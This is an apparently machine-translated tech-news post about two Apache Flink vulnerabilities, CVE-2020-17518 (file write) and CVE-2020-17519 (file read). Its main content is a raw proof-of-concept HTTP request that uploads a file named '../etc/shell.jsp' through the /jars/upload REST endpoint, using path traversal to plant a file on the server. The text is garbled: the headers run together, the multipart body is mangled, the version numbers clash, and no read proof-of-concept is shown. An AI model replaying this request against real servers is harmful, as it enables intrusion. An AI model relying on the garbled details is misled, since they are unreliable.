Shulou(Shulou.com)06/01 Report--

Today, I will talk to you about the example analysis of Apache Flink POC vulnerability CVE-2020-17518x17519, which may not be well understood by many people. in order to make you understand better, the editor has summarized the following content for you. I hope you can get something according to this article.

‍

CVE-2020-17518: file writ

Using REST API, an attacker can modify the HTTP header and write the uploaded file to any location on the local file system (accessible by the Flink 1.5.1 process)

CVE-2020-17519: file reading

Apache Flink 1.11.0 allows an attacker to read any file on the JobManager local file system through the REST API of the JobManager process (accessible to the JobManager process)

POC:

POST / jars/upload HTTP/1.1Host: IP:8081Accept-Encoding: gzip, deflateAccept: * / * Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6YContent-Length: 189

-WebKitFormBoundaryoZ8meKnrrso89R6YContent-Disposition: form-data; name= "jarfile"; filename= ".. / etc/shell.jsp"

Success-WebKitFormBoundaryoZ8meKnrrso89R6Y--, after reading the above, do you have any further understanding of the example analysis of the Apache Flink POC vulnerability CVE-2020-17518 take 17519? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.